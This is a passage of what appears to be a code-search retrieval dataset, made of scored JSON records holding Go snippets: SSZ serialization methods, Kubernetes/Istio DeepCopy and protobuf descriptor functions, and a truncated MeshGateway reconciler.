tail[o0:]\n\t\tnum, err := ssz.DecodeDynamicLength(buf, 2048)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tm.Proofs = make([]*burnproof.CoinsProofSerializable, num)\n\t\terr = ssz.UnmarshalDynamic(buf, num, func(indx int, buf []byte) (err error) {\n\t\t\tif m.Proofs[indx] == nil {\n\t\t\t\tm.Proofs[indx] = new(burnproof.CoinsProofSerializable)\n\t\t\t}\n\t\t\tif err = m.Proofs[indx].UnmarshalSSZ(buf); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "91842103ae55b6e19099694a5cd98ed0", "score": "0.5053523", "text": "func encodeZstd(compressedBuf []byte, varIntLen int, b []byte) []byte {\n\tencoder, _ := zstd.NewWriter(nil)\n\tdefer encoder.Close()\n\treturn encoder.EncodeAll(b, compressedBuf[:varIntLen])\n}", "title": "" }, { "docid": "706a5874eccd192a978ffd8d4cd2a9bb", "score": "0.50501484", "text": "func (i *Inventory) SizeSSZ() (size int) {\n\tsize = 4\n\n\t// Field (0) 'Invs'\n\tsize += len(i.Invs) * 36\n\n\treturn\n}", "title": "" }, { "docid": "feb3510c958d7965e7d8811c3ea1dd25", "score": "0.50409895", "text": "func (h *Hash) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size != 32 {\n\t\treturn errSize\n\t}\n\n\t// Field (0) 'Hash'\n\th.Hash = append(h.Hash, buf[0:32]...)\n\n\treturn err\n}", "title": "" }, { "docid": "74ecec6a4d804eb8bbd17c629d636445", "score": "0.5040215", "text": "func (m *MerkleBlockRequest) SizeSSZ() (size int) {\n\tsize = 4\n\n\t// Field (0) 'Hashes'\n\tsize += len(m.Hashes) * 32\n\n\treturn\n}", "title": "" }, { "docid": "55f4f8c2c2eca70f4740a7a56128505b", "score": "0.503145", "text": "func (t *TxLocator) SizeSSZ() (size int) {\n\tsize = 72\n\treturn\n}", "title": "" }, { "docid": "54d5f55ba1809596ad5ccef8a0f7db40", "score": "0.5031177", "text": "func (f *FilterAddRequest) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\toffset := int(4)\n\n\t// Offset (0) 'Data'\n\tdst = ssz.WriteOffset(dst, offset)\n\toffset += len(f.Data)\n\n\t// Field (0) 'Data'\n\tif len(f.Data) > 256 {\n\t\treturn nil, errMarshalDynamicBytes\n\t}\n\tdst = append(dst, f.Data...)\n\n\treturn dst, err\n}", "title": "" }, { "docid": "3a8b98aa19e9e39009e38ccf4efbc5ba", "score": "0.5009505", "text": "func (i *Inventory) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size < 4 {\n\t\treturn errSize\n\t}\n\n\ttail := buf\n\tvar o0 uint64\n\n\t// Offset (0) 'Invs'\n\tif o0 = ssz.ReadOffset(buf[0:4]); o0 > size {\n\t\treturn errOffset\n\t}\n\n\t// Field (0) 'Invs'\n\t{\n\t\tbuf = tail[o0:]\n\t\tnum, ok := ssz.DivideInt(len(buf), 36)\n\t\tif !ok {\n\t\t\treturn errDivideInt\n\t\t}\n\t\tif num > 2000 {\n\t\t\treturn errListTooBig\n\t\t}\n\t\ti.Invs = make([]*InvVect, num)\n\t\tfor ii := 0; ii < num; ii++ {\n\t\t\tif i.Invs[ii] == nil {\n\t\t\t\ti.Invs[ii] = new(InvVect)\n\t\t\t}\n\t\t\tif err = i.Invs[ii].UnmarshalSSZ(buf[ii*36 : (ii+1)*36]); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "5fc779acd0c9ec47cedb0dbcd1624d9e", "score": "0.49812067", "text": "func (f *FilterClearRequest) MarshalSSZTo(dst []byte) ([]byte, error) {\n\tvar err error\n\n\treturn dst, err\n}", "title": "" }, { "docid": "6aae127ff5a5d6908ce17f74e354273f", "score": "0.49776286", "text": "func (s Ztd) MarshalJSON() (bs []byte, err error) { return }", "title": "" }, { "docid": "5e0afd2a25e2dac29f960a87cbac7e7e", "score": "0.49337417", "text": "func (m *MemPoolRequest) UnmarshalSSZ(buf []byte) error {\n\tvar err error\n\tsize := uint64(len(buf))\n\tif size != 0 {\n\t\treturn errSize\n\t}\n\n\treturn err\n}", "title": "" }, { "docid": "8f668ffcc71dcd5eae17d28f8e41f6b7", "score": "0.4913971", "text": "func (f *FilterAddRequest) SizeSSZ() (size int) {\n\tsize = 4\n\n\t// Field (0) 'Data'\n\tsize += len(f.Data)\n\n\treturn\n}", "title": "" }, { "docid": "ef84fc06adbbdb06f756406788e4898b", "score": "0.48690972", "text": "func (s *SyncDAG) SizeSSZ() (size int) {\n\tsize = 8\n\n\t// Field (0) 'MainLocator'\n\tsize += len(s.MainLocator) * 32\n\n\t// Field (1) 'GraphState'\n\tif s.GraphState == nil {\n\t\ts.GraphState = new(GraphState)\n\t}\n\tsize += s.GraphState.SizeSSZ()\n\n\treturn\n}", "title": "" }, { "docid": "44517f81fd42b9331f73fc795ed73590", "score": "0.48638153", "text": "func (s *SubDAG) SizeSSZ() (size int) {\n\tsize = 40\n\n\t// Field (1) 'GraphState'\n\tif s.GraphState == nil {\n\t\ts.GraphState = new(GraphState)\n\t}\n\tsize += s.GraphState.SizeSSZ()\n\n\t// Field (2) 'Blocks'\n\tsize += len(s.Blocks) * 32\n\n\treturn\n}", "title": "" }, { "docid": "0bc0d34b2b96c63825f56d618e14e08d", "score": "0.4805643", "text": "func (s *SyncQNR) SizeSSZ() (size int) {\n\tsize = 4\n\n\t// Field (0) 'Qnr'\n\tsize += len(s.Qnr)\n\n\treturn\n}", "title": "" }, { "docid": "ba232db3b845a7c16a6e198ba0969120", "score": "0.47818998", "text": "func (c *ChainState) SizeSSZ() (size int) {\n\tsize = 61\n\n\t// Field (5) 'GraphState'\n\tif c.GraphState == nil {\n\t\tc.GraphState = new(GraphState)\n\t}\n\tsize += c.GraphState.SizeSSZ()\n\n\t// Field (6) 'UserAgent'\n\tsize += len(c.UserAgent)\n\n\treturn\n}", "title": "" } ]
573c1df6cdf62e65ec3bcd3b8a60ac10
DeepCopyInterface is an autogenerated deepcopy function, copying the receiver, creating a new IstioMeshGatewaySpec. Required by controllergen.
[ { "docid": "6535d0945051ab49904bcdbb9efb2175", "score": "0.76552844", "text": "func (in *IstioMeshGatewaySpec) DeepCopyInterface() interface{} {\n\treturn in.DeepCopy()\n}", "title": "" } ]
[ { "docid": "b2539da7aa0bd1a8ddd2ec3dff97aaa7", "score": "0.85859895", "text": "func (in *IstioMeshGatewaySpec) DeepCopy() *IstioMeshGatewaySpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(IstioMeshGatewaySpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "5545092f2233572c783d48ce993a2787", "score": "0.60300666", "text": "func (in *IstioMeshGatewayStatus) DeepCopyInterface() interface{} {\n\treturn in.DeepCopy()\n}", "title": "" }, { "docid": "8ee392938dddc994a6d38251af8f42b0", "score": "0.59734994", "text": "func (in *LineMessengerGatewaySpec) DeepCopy() *LineMessengerGatewaySpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(LineMessengerGatewaySpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "4e0551789e38945fb00ddf4d69cde979", "score": "0.5896425", "text": "func (in *VirtualGatewaySpec) DeepCopy() *VirtualGatewaySpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VirtualGatewaySpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "f996318063e2f5fcf226b5921172651d", "score": "0.5583717", "text": "func (in *MeshSpec) DeepCopy() *MeshSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(MeshSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "ce8678b8145d933703729e649876525a", "score": "0.5323324", "text": "func (in *ISGWSpec) DeepCopy() *ISGWSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ISGWSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "db84892adffd6173ee04fd5da21946f2", "score": "0.5221013", "text": "func (in *GatewayHostSpec) DeepCopy() *GatewayHostSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(GatewayHostSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "68d846f47c790dd702192db154243249", "score": "0.5192499", "text": "func (in *IstioMeshGatewayStatus) DeepCopy() *IstioMeshGatewayStatus {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(IstioMeshGatewayStatus)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "49a6ebb2c8626ec6d29ab9466aa95c60", "score": "0.5167619", "text": "func (in *GatewayRouteSpec) DeepCopy() *GatewayRouteSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(GatewayRouteSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "37238967e59ec60a36359aa15f0432f9", "score": "0.51450783", "text": "func (in *IstioMeshGatewaySpec) DeepCopyInto(out *IstioMeshGatewaySpec) {\n\tp := proto.Clone(in).(*IstioMeshGatewaySpec)\n\t*out = *p\n}", "title": "" }, { "docid": "1cb8e7c349639b944ee4e9cab296543f", "score": "0.4985788", "text": "func (in *Apigatewayv2ModelSpec) DeepCopy() *Apigatewayv2ModelSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Apigatewayv2ModelSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "84721b49596e591c56bfc48357f95a47", "score": "0.4976999", "text": "func (in *IotHub_Spec) DeepCopy() *IotHub_Spec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(IotHub_Spec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "6fc8fbb40a9fa1a4d6442b6cd47dcb02", "score": "0.49699852", "text": "func (*VirtualGatewaySpec_DeployToIngressGateway) Descriptor() ([]byte, []int) {\n\treturn file_github_com_solo_io_gloo_mesh_api_enterprise_networking_v1beta1_virtual_gateway_proto_rawDescGZIP(), []int{0, 0}\n}", "title": "" }, { "docid": "a33381cf3b9e2ceb6cb00da9e5c087ae", "score": "0.49341074", "text": "func (in *ProxyServiceSpec) DeepCopy() *ProxyServiceSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ProxyServiceSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "a00eef7dc5db61181d8334b4d6f6fe34", "score": "0.49099994", "text": "func (in *NetworkInterfaceSpec) DeepCopy() *NetworkInterfaceSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(NetworkInterfaceSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "b90227e09125eb5de415ab262e2392ba", "score": "0.48988762", "text": "func NewMeshSpecClient(smiKubeConfig *rest.Config, kubeClient kubernetes.Interface, osmNamespace string, kubeController k8s.Controller, stop chan struct{}) (MeshSpec, error) {\n\tsmiTrafficSplitClientSet := smiTrafficSplitClient.NewForConfigOrDie(smiKubeConfig)\n\tsmiTrafficSpecClientSet := smiTrafficSpecClient.NewForConfigOrDie(smiKubeConfig)\n\tsmiTrafficTargetClientSet := smiAccessClient.NewForConfigOrDie(smiKubeConfig)\n\n\tclient, err := newSMIClient(\n\t\tkubeClient,\n\t\tsmiTrafficSplitClientSet,\n\t\tsmiTrafficSpecClientSet,\n\t\tsmiTrafficTargetClientSet,\n\t\tosmNamespace,\n\t\tkubeController,\n\t\tkubernetesClientName,\n\t\tstop,\n\t)\n\n\treturn client, err\n}", "title": "" }, { "docid": "244e765bd64278d5d575ef069bd385e4", "score": "0.48533395", "text": "func (*VirtualGatewaySpec) Descriptor() ([]byte, []int) {\n\treturn file_github_com_solo_io_gloo_mesh_api_enterprise_networking_v1beta1_virtual_gateway_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "b913458fe119a652f4466c7e00b951b9", "score": "0.48317048", "text": "func (in *DicomwebIngestionServiceSpec) DeepCopy() *DicomwebIngestionServiceSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DicomwebIngestionServiceSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "69988025eb4bc9a56e5fe4d228d62678", "score": "0.48059374", "text": "func (in *BeyondCorpAppGatewaySpec) DeepCopy() *BeyondCorpAppGatewaySpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(BeyondCorpAppGatewaySpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "e501da58f30d799a8d804f6eda03b5d1", "score": "0.48016015", "text": "func (in *DimseIngestionServiceSpec) DeepCopy() *DimseIngestionServiceSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DimseIngestionServiceSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "cdc71676cce2f84079641cc4f5e03adc", "score": "0.47822896", "text": "func (in *ProxySpec) DeepCopy() *ProxySpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ProxySpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "cdc71676cce2f84079641cc4f5e03adc", "score": "0.47822896", "text": "func (in *ProxySpec) DeepCopy() *ProxySpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ProxySpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "cdc71676cce2f84079641cc4f5e03adc", "score": "0.47822896", "text": "func (in *ProxySpec) DeepCopy() *ProxySpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ProxySpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "cdc71676cce2f84079641cc4f5e03adc", "score": "0.47822896", "text": "func (in *ProxySpec) DeepCopy() *ProxySpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ProxySpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "5eda28d83bfd4b208308aa7c31951c30", "score": "0.47385228", "text": "func (in *DimseProxySpec) DeepCopy() *DimseProxySpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DimseProxySpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "7b4d8a2f26715207c556d52678400d64", "score": "0.47020504", "text": "func (in *ExternalInterfaceSpec) DeepCopy() *ExternalInterfaceSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ExternalInterfaceSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "31485853e993465c9ff3af8a6f8009e6", "score": "0.46906707", "text": "func (in *VirtualNetworkGatewaySpec) DeepCopy() *VirtualNetworkGatewaySpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VirtualNetworkGatewaySpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "9902e8bbe59c74692f20136f64036aaf", "score": "0.46836966", "text": "func (in *NginxSDKSpec) DeepCopy() *NginxSDKSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(NginxSDKSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "9362f10e318488c0b17ad62f266ce396", "score": "0.4670086", "text": "func (in *GrowiSpec) DeepCopy() *GrowiSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(GrowiSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "d6a133f9e7e7fa670867545f1c3fe177", "score": "0.46409777", "text": "func (*VpnGatewayVpnGatewayInterface) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_compute_v1_compute_proto_rawDescGZIP(), []int{533}\n}", "title": "" }, { "docid": "7d50e1093e5e5b19998b50bea328666f", "score": "0.46246797", "text": "func (in *Gateway) DeepCopy() *Gateway {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Gateway)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "7d50e1093e5e5b19998b50bea328666f", "score": "0.46246797", "text": "func (in *Gateway) DeepCopy() *Gateway {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Gateway)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "ee6339478323a0da9f06adf89c1879ec", "score": "0.4615125", "text": "func (in *VirtualGatewaySpec) DeepCopyInto(out *VirtualGatewaySpec) {\n\t*out = *in\n\tif in.AWSName != nil {\n\t\tin, out := &in.AWSName, &out.AWSName\n\t\t*out = new(string)\n\t\t**out = **in\n\t}\n\tif in.NamespaceSelector != nil {\n\t\tin, out := &in.NamespaceSelector, &out.NamespaceSelector\n\t\t*out = new(v1.LabelSelector)\n\t\t(*in).DeepCopyInto(*out)\n\t}\n\tif in.PodSelector != nil {\n\t\tin, out := &in.PodSelector, &out.PodSelector\n\t\t*out = new(v1.LabelSelector)\n\t\t(*in).DeepCopyInto(*out)\n\t}\n\tif in.GatewayRouteSelector != nil {\n\t\tin, out := &in.GatewayRouteSelector, &out.GatewayRouteSelector\n\t\t*out = new(v1.LabelSelector)\n\t\t(*in).DeepCopyInto(*out)\n\t}\n\tif in.Listeners != nil {\n\t\tin, out := &in.Listeners, &out.Listeners\n\t\t*out = make([]VirtualGatewayListener, len(*in))\n\t\tfor i := range *in {\n\t\t\t(*in)[i].DeepCopyInto(&(*out)[i])\n\t\t}\n\t}\n\tif in.Logging != nil {\n\t\tin, out := &in.Logging, &out.Logging\n\t\t*out = new(VirtualGatewayLogging)\n\t\t(*in).DeepCopyInto(*out)\n\t}\n\tif in.BackendDefaults != nil {\n\t\tin, out := &in.BackendDefaults, &out.BackendDefaults\n\t\t*out = new(VirtualGatewayBackendDefaults)\n\t\t(*in).DeepCopyInto(*out)\n\t}\n\tif in.MeshRef != nil {\n\t\tin, out := &in.MeshRef, &out.MeshRef\n\t\t*out = new(MeshReference)\n\t\t**out = **in\n\t}\n}", "title": "" }, { "docid": "946bfd0300b575ddf34bdc58e563308e", "score": "0.46128693", "text": "func (in *LineMessengerGateway) DeepCopy() *LineMessengerGateway {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(LineMessengerGateway)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "e76423495403d9eb27b766216008ce9d", "score": "0.4554554", "text": "func (c *meshGateways) Patch(ctx context.Context, name string, pt types.PatchType, data []byte, opts v1.PatchOptions, subresources ...string) (result *v1beta1.MeshGateway, err error) {\n\tresult = &v1beta1.MeshGateway{}\n\terr = c.client.Patch(pt).\n\t\tNamespace(c.ns).\n\t\tResource(\"meshgateways\").\n\t\tName(name).\n\t\tSubResource(subresources...).\n\t\tVersionedParams(&opts, scheme.ParameterCodec).\n\t\tBody(data).\n\t\tDo(ctx).\n\t\tInto(result)\n\treturn\n}", "title": "" }, { "docid": "ac90abacc80301c02602b28f2bc001b7", "score": "0.45391667", "text": "func (*VirtualGatewaySpec_GatewayOptions) Descriptor() ([]byte, []int) {\n\treturn file_github_com_solo_io_gloo_mesh_api_enterprise_networking_v1beta1_virtual_gateway_proto_rawDescGZIP(), []int{0, 2}\n}", "title": "" }, { "docid": "31ca8dac63de4ce2c64ef13b4eace486", "score": "0.45307854", "text": "func (in *LibertyAppJmsServiceSpec) DeepCopy() *LibertyAppJmsServiceSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(LibertyAppJmsServiceSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "adb117cddc9660e65c3d2de377a499ce", "score": "0.45175862", "text": "func (*ExternalVpnGatewayInterface) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_compute_v1_compute_proto_rawDescGZIP(), []int{102}\n}", "title": "" }, { "docid": "dde4fd6777ba462c79382286de810508", "score": "0.44980726", "text": "func (in *PortSelector) DeepCopyInterface() interface{} {\n\treturn in.DeepCopy()\n}", "title": "" }, { "docid": "d91b6618b5bb60da52684525e189e42f", "score": "0.4494385", "text": "func (in *VirtualNetworkGatewayConnectionSpec) DeepCopy() *VirtualNetworkGatewayConnectionSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VirtualNetworkGatewayConnectionSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "0fd73fcc49abe823c59908753b754962", "score": "0.44866836", "text": "func (in *KoupletBuildSpec) DeepCopy() *KoupletBuildSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(KoupletBuildSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "3ee0134cb10bdc96ad0448acf3fcd45c", "score": "0.44484237", "text": "func (in *StowServiceSpec) DeepCopy() *StowServiceSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(StowServiceSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "e893b5bb4b44df7877842019c8c984ae", "score": "0.44390506", "text": "func (*UpdateGatewayRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_networkservices_v1_gateway_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "e15541daa0d2fd96949e685c917b3d66", "score": "0.44336605", "text": "func (in *Mesh) DeepCopy() *Mesh {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Mesh)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "e15541daa0d2fd96949e685c917b3d66", "score": "0.44336605", "text": "func (in *Mesh) DeepCopy() *Mesh {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Mesh)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "164f0513350c0d93efe4220f222097b7", "score": "0.44121134", "text": "func (*CreateClientGatewayRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_beyondcorp_clientgateways_v1_client_gateways_service_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "185c0fa0ef914634a83fd3d6e0e57e3b", "score": "0.43961108", "text": "func (in *MicroserviceSpec) DeepCopy() *MicroserviceSpec {\r\n\tif in == nil {\r\n\t\treturn nil\r\n\t}\r\n\tout := new(MicroserviceSpec)\r\n\tin.DeepCopyInto(out)\r\n\treturn out\r\n}", "title": "" }, { "docid": "a00981344e127cbd93e9dce6599feda6", "score": "0.43804696", "text": "func (in *JaegerSpec) DeepCopy() *JaegerSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(JaegerSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "63f49b95fe81478eaf9a598a49792ac0", "score": "0.43742952", "text": "func (*CreateGatewayRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_apigateway_v1_apigateway_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "867be8269795265544f1c86c1cc9e392", "score": "0.43705797", "text": "func (in *JWTRule) DeepCopyInterface() interface{} {\n\treturn in.DeepCopy()\n}", "title": "" }, { "docid": "e47e58bd20e7986644e550aa5f238d23", "score": "0.43676996", "text": "func (in *FlexibleServers_Configuration_Spec) DeepCopy() *FlexibleServers_Configuration_Spec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(FlexibleServers_Configuration_Spec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "e52b9cab57b7c13fb18de80df6d1c09b", "score": "0.43528205", "text": "func (*CreateGatewayRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_networkservices_v1_gateway_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "2a4d9a70628367bed7cda3f1f96e8f33", "score": "0.4346607", "text": "func (*UpdateGatewayRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_apigateway_v1_apigateway_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "eac8dbf1e553affe0f3da6ccacdf0cc7", "score": "0.4328807", "text": "func (in *GatewayResponseSpec) DeepCopy() *GatewayResponseSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(GatewayResponseSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "89a3e46d1c9418e94bb1aebd42a05b16", "score": "0.4327117", "text": "func (in *MinecraftSpec) DeepCopy() *MinecraftSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(MinecraftSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "6d6f7af925ba4205659e7352dfd40077", "score": "0.43119645", "text": "func (in *IPAMHandleSpec) DeepCopy() *IPAMHandleSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(IPAMHandleSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "5c68884f9b64f1e6e48be43d51b00695", "score": "0.43079636", "text": "func (*GetClientGatewayRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_beyondcorp_clientgateways_v1_client_gateways_service_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "b42e37feb09cc52632529c76e4f33534", "score": "0.42973125", "text": "func (this *VirtualMeshSpec) MarshalJSON() ([]byte, error) {\n\tstr, err := VirtualMeshMarshaler.MarshalToString(this)\n\treturn []byte(str), err\n}", "title": "" }, { "docid": "e3ca53726d16724f80107cb68713e43e", "score": "0.4294887", "text": "func (in *WadoServiceSpec) DeepCopy() *WadoServiceSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(WadoServiceSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "e4ed82bfabb4840a1bd06d8a27e31b9a", "score": "0.42740017", "text": "func (in *LibertyAppIiopServiceSpec) DeepCopy() *LibertyAppIiopServiceSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(LibertyAppIiopServiceSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "c37866df8ad4f20ef9d58ca2bf950e22", "score": "0.42660296", "text": "func (c *meshGateways) List(ctx context.Context, opts v1.ListOptions) (result *v1beta1.MeshGatewayList, err error) {\n\tvar timeout time.Duration\n\tif opts.TimeoutSeconds != nil {\n\t\ttimeout = time.Duration(*opts.TimeoutSeconds) * time.Second\n\t}\n\tresult = &v1beta1.MeshGatewayList{}\n\terr = c.client.Get().\n\t\tNamespace(c.ns).\n\t\tResource(\"meshgateways\").\n\t\tVersionedParams(&opts, scheme.ParameterCodec).\n\t\tTimeout(timeout).\n\t\tDo(ctx).\n\t\tInto(result)\n\treturn\n}", "title": "" }, { "docid": "907b5019a92ba2274c9bae3922184b3c", "score": "0.4260732", "text": "func (*DeleteGatewayRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_apigateway_v1_apigateway_proto_rawDescGZIP(), []int{8}\n}", "title": "" }, { "docid": "bb3c5034bed95416493bca3f469b7f91", "score": "0.42554125", "text": "func (*ClientGateway) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_beyondcorp_clientgateways_v1_client_gateways_service_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "60597dd268336a744410617a588bb817", "score": "0.42540345", "text": "func (r *ReconcileMeshGateway) Reconcile(request reconcile.Request) (reconcile.Result, error) {\n\tlogger := log.WithValues(\"trigger\", request.Namespace+\"/\"+request.Name, \"correlationID\", uuid.Must(uuid.NewV4()).String())\n\n\t// Fetch the MeshGateway instance\n\tinstance := &istiov1beta1.MeshGateway{}\n\terr := r.Get(context.TODO(), request.NamespacedName, instance)\n\tif err != nil {\n\t\tif k8serrors.IsNotFound(err) {\n\t\t\t// Object not found, return. Created objects are automatically garbage collected.\n\t\t\t// For additional cleanup logic use finalizers.\n\t\t\treturn reconcile.Result{}, nil\n\t\t}\n\t\t// Error reading the object - requeue the request.\n\t\treturn reconcile.Result{}, err\n\t}\n\n\terr = r.setDefaultLabels(instance)\n\tif err != nil {\n\t\treturn reconcile.Result{}, errors.WithStack(err)\n\t}\n\n\tinstance.SetDefaults()\n\n\tistio, err := r.getRelatedIstioCR(instance)\n\tif err != nil {\n\t\tupdateErr := updateStatus(r.Client, instance, istiov1beta1.ReconcileFailed, err.Error(), logger)\n\t\tif updateErr != nil {\n\t\t\tlogger.Error(updateErr, \"failed to update state\")\n\t\t\treturn reconcile.Result{}, errors.WithStack(err)\n\t\t}\n\t\treturn reconcile.Result{\n\t\t\tRequeue: false,\n\t\t}, errors.WithStack(err)\n\t}\n\tistio.SetDefaults()\n\n\tif !istio.Spec.Version.IsSupported() {\n\t\treturn reconcile.Result{}, nil\n\t}\n\n\tinstance.Spec.Labels = util.MergeStringMaps(instance.Spec.Labels, istio.RevisionLabels())\n\n\terr = updateStatus(r.Client, instance, istiov1beta1.Reconciling, \"\", logger)\n\tif err != nil {\n\t\treturn reconcile.Result{}, errors.WithStack(err)\n\t}\n\n\treconciler := gateways.New(r.Client, r.dynamic, istio, instance, r.scheme)\n\n\tvar gatewayHasHostname bool\n\terr = reconciler.Reconcile(log)\n\tif err == nil {\n\t\tinstance.Status.GatewayAddress, gatewayHasHostname, err = reconciler.GetGatewayAddress()\n\t\tif err != nil {\n\t\t\tlog.Info(fmt.Sprintf(\"gateway address pending: %s\", 